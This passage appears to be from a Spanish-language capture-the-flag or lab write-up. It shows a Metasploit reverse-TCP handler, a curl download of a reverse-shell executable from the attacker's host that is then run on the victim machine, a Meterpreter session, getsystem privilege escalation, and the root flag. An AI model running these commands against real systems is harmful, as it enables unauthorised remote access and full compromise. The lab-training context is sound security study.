/ ###
/ # % #
/ ###
. /
. / . * .
/
*
+ *
^
#### __ __ __ ####### __ __ __ ####
#### / \ / \ / \ ########### / \ / \ / \ ####
################################################################################
################################################################################
# WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
https://metasploit.com
=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.8.1.127
LHOST => 10.8.1.127
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.8.1.127:443
- Después lo descargamos y lo ejecutamos en la máquina víctima.
PS C:\Temp> curl -o rev.exe http://10.8.1.127:8080/reverse_shell.exe
curl -o rev.exe http://10.8.1.127:8080/reverse_shell.exe
PS C:\Temp> dir
dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/1/2024 1:57 PM 153600 JuicyPotatoNG.exe
-a---- 3/1/2024 1:38 PM 28160 nc.exe
-a---- 3/1/2024 2:35 PM 73802 rev.exe
PS C:\Temp> .\rev.exe
.\rev.exe
PS C:\Temp>
- Y listo.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.8.1.127:443
[*] Sending stage (176198 bytes) to 10.10.111.108
[*] Meterpreter session 1 opened (10.8.1.127:443 -> 10.10.111.108:51168) at 2024-03-01 16:37:07 -0600
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter >
- Y listo.
Root.txt
- Ahora vemos la flag.
